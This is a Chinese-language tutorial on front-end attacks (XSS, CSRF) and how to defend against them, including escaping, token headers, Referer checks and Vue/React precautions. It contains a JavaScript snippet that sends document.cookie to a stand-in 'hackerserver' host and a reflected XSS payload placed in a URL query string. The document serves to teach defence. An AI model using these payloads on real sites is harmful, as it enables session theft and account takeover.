1.重要性

隨著網際網路的發達，各種WEB應用也變得越來越複雜，滿足了使用者的各種需求，但是隨之而來的就是各種網路安全的問題。瞭解常見的前端攻擊形式和保護我們的網站不受攻擊是我們每個優秀fronter必備的技能。

2.分類

• XSS攻擊
• CSRF攻擊
• 網路劫持攻擊(運營商劫持)
• 控制檯注入程式碼
• 虛假網站釣魚

3.XSS攻擊

XSS是一種經常出現在web應用中的電腦保安漏洞，為了和 CSS 區分，這裡把攻擊的第一個字母改成了X，於是叫做XSS，它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。比如這些程式碼包括HTML程式碼和客戶端指令碼。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)，從而發起非法行為和獲取網站的敏感資料。

發起方式

實施XSS攻擊需要具備兩個條件

• 一、需要向web頁面注入惡意程式碼, 利用表單和url位址列的查詢字串注入js非法程式碼
• 二、這些惡意程式碼能夠被瀏覽器成功的執行

XSS攻擊的主要目的

　　一、竊取Cookies和私信資訊，傳送到黑客網站上

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

　　二、發起非法行為

位址列：
http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="

把id放入到img之後最終反射出來的HTML程式碼：
<div>
    <img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
</div>

防範措施

DOM 型 XSS 攻擊，實際上就是網站前端 JavaScript 程式碼本身不夠嚴謹，把不可信的資料當作程式碼執行了。

• 在使用 .innerHTML、.outerHTML、document.write() 時要特別小心，不要把不可信的資料作為 HTML 插到頁面上，而應儘量使用 .textContent、.setAttribute() 等。
• 轉義HTML，過濾使用者輸入的 檢查使用者輸入的內容中是否有非法內容。如<>（尖括號）、”（引號）、 ‘（單引號）、%（百分比符號）、;（分號）、()（括號）、&（& 符號）、+（加號）等。、嚴格控制輸出。
• 如果用 Vue/React 技術棧，並且不使用 v-html/dangerouslySetInnerHTML 功能，就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。
• DOM 中的內聯事件監聽器，如 location、onclick、onerror、onload、onmouseover 等，a標籤的 href 屬性，JavaScript 的 eval()、setTimeout()、setInterval() 等，都能把字串作為程式碼執行。如果不可信的資料拼接到字串中傳遞給這些 API，很容易產生安全隱患，請務必避免。

 <!-- 內聯事件監聽器中包含惡意程式碼 --> 
 < img   onclick = "UNTRUSTED"   onerror = "UNTRUSTED"   src = "data:image/png," > 
 <!-- 連結內包含惡意程式碼 --> 
 < a   href = "UNTRUSTED" > 1 </ a > 
 < script >  
 // setTimeout()/setInterval() 中呼叫惡意程式碼 
setTimeout( "UNTRUSTED" )
setInterval( "UNTRUSTED" )
 // location 呼叫惡意程式碼 
location.href =  'UNTRUSTED' 
 // eval() 中呼叫惡意程式碼 
 eval ( "UNTRUSTED" )
  </ script > 

4.CSRF攻擊

攻擊者盜用了你的身份，以你的名義傳送惡意請求，對伺服器來說這個請求是完全合法的，但是卻完成了攻擊者所期望的一個操作，比如以你的名義傳送郵件、發訊息，盜取你的賬號，新增系統管理員，甚至於購買商品、虛擬貨幣轉賬等。 Cookie是按照Domain儲存的，當請求一個網站的時候，瀏覽器會自動把這個網站的Cookie傳送過去。

發起方式

1. 使用者C開啟瀏覽器，訪問受信任網站A，輸入使用者名稱和密碼請求登入網站A；
2. 在使用者資訊通過驗證後，網站A產生Cookie資訊並返回給瀏覽器，此時使用者登入網站A成功，可以正常傳送請求到網站A；
3. 使用者未退出網站A之前，在同一瀏覽器中，開啟一個TAB頁訪問網站B；
4. 網站B接收到使用者請求後，返回一些攻擊性程式碼，併發出一個請求要求訪問第三方站點A；
5. 瀏覽器在接收到這些攻擊性程式碼後，根據網站B的請求，在使用者不知情的情況下攜帶Cookie資訊，向網站A發出請求。網站A並不知道該請求其實是由B發起的，所以會根據使用者C的Cookie資訊以C的許可權處理該請求，導致來自網站B的惡意程式碼被執行。

圖解流程

防範措施

CSRF攻擊是攻擊者利用使用者的身份(Cookie)操作使用者帳戶的一種攻擊方式，我們可以利用修改登入態的位置（由cookie中放到位址列或者自定義請求頭部）和refer的判斷來防禦CSRF攻擊，由前端和服務端配合一起解決CSRF攻擊。

• 驗證HTTP Referer欄位
  根據 HTTP 協議，在 HTTP 頭中有一個欄位叫 Referer，它記錄了該 HTTP 請求的來源地址。在通常情況下，訪問一個安全受限頁面的請求來自於同一個網站，比如需要訪問 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory，使用者必須在 bank.example網站發起請求，referer的域名一定指向bank.example。如果 Referer 是其他網站的話，則有可能是黑客的CSRF攻擊，拒絕該請求。但Referer值是由瀏覽器提供的，服務端可以繞過這個限制修改Referer欄位發起攻擊。
• 在HTTP頭中自定義屬性並驗證
  這種方法是使用token並進行驗證，把token的位置由Cookie移到http請求的頭部，使第三方網站無法盜用身份資訊。解決了在請求位址列中加入token的不便，同時通過 XMLHttpRequest請求的地址不會被記錄到瀏覽器的位址列，也不用擔心token會透過 Referer洩露到其他網站中去。
• 新增驗證碼操作
  增加與使用者的互動，即便是最簡陋的驗證碼也能起到很好的效果

5.XSS與CSRF之間的區別

6.在Vue與React中的防範措施

• JSX中防止XSS注入攻擊

  • React DOM 在渲染所有輸入內容之前，預設會進行轉義。它可以確保在你的應用中，永遠不會注入那些並非自己明確編寫的內容。所有的內容在渲染之前都被轉換成了字串。這樣可以有效地防止 XSS（cross-site-scripting, 跨站指令碼）攻擊。
  • dangerouslySetInnerHTML 是 React 為瀏覽器 DOM 提供 innerHTML 的替換方案。但當你想設定 dangerouslySetInnerHTML 時，需要向其傳遞包含 key 為 __html 的物件，以此來警示你。

• 在Vue中儘量不要使用v-html

  • 在網站上動態渲染任意 HTML 是非常危險的，因為容易導致 XSS 攻擊。只在可信內容上使用 v-html，永不用在使用者提交的內容上。

&n